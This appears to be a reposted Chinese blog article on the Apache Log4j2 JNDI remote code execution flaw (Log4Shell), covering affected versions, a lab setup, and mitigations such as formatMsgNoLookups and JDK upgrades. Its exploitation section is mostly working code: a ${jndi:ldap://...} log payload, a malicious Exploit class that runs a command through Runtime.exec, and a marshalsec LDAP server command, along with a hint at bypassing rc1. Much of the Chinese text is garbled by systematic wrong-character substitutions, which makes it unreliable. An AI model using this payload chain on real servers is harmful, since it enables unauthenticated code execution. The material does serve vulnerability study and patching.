起源:blog.csdn.net/qq_40989258/article/details/121862363
0x00 简介
ApacheLog4j2 是一个开源的 Java 日志框架,被宽泛地利用在中间件、开发框架与 Web 利用中。
0x01 破绽概述
该破绽是因为 Apache Log4j2 某些性能存在递归解析性能,未经身份验证的攻击者通过发送特定歹意数据包,可在指标服务器上执行任意代码。
0x02 影响范畴
Apache Log4j 2.x <= 2.15.0-rc1
0x03 环境搭建
创立一个新的 maven 我的项目,并导入 Log4j 的依赖包
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
0x04 破绽利用
1、应用 POC 测试
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {logger.error("${jndi:ldap://localhost:8888/Exploit}");
}
}
2、编译一歹意类 Exploit.class
首先新建 exp.java,而后编译为 class 文件
class Exploit {
static {System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {e.printStackTrace();
}
}
}
javac exp.java
3、应用 marshalsec-0.0.3-SNAPSHOT-all.jar 本地开启一个 LDAP 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888
4、运行 poc.java,即可拜访歹意类并执行写在其中的 ”calc” 命令
联合一些其它 StrLookup 适当变形,以及配合官网测试用例中脏数据 "?Type=A Type&Name=1100110&Char=!"
可绕过 rc1,RC2 版本对此异样进行了捕捉。
https://github.com/apache/log…
0x05 修复形式
目前,Apache 官网已公布新版本实现破绽修复,倡议用户尽快进行自查,并及时降级至最新版本:
https://github.com/apache/log…
倡议同时采纳如下长期措施进行破绽防备:
1)增加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true;
2)在利用 classpath 下增加 log4j2.component.properties 配置文件,文件内容为 log4j2.formatMsgNoLookups=true;
3)JDK 应用 11.0.1、8u191、7u201、6u211 及以上的高版本;
4)部署应用第三方防火墙产品进行平安防护。
近期热文举荐:
1.1,000+ 道 Java 面试题及答案整顿(2021 最新版)
2. 劲爆!Java 协程要来了。。。
3. 最新!Log4j 2.x 再发版,正式解决核弹级破绽,又要熬夜了。。。
4.Spring Boot 2.6 正式公布,一大波新个性。。
5.《Java 开发手册(嵩山版)》最新公布,速速下载!
感觉不错,别忘了顺手点赞 + 转发哦!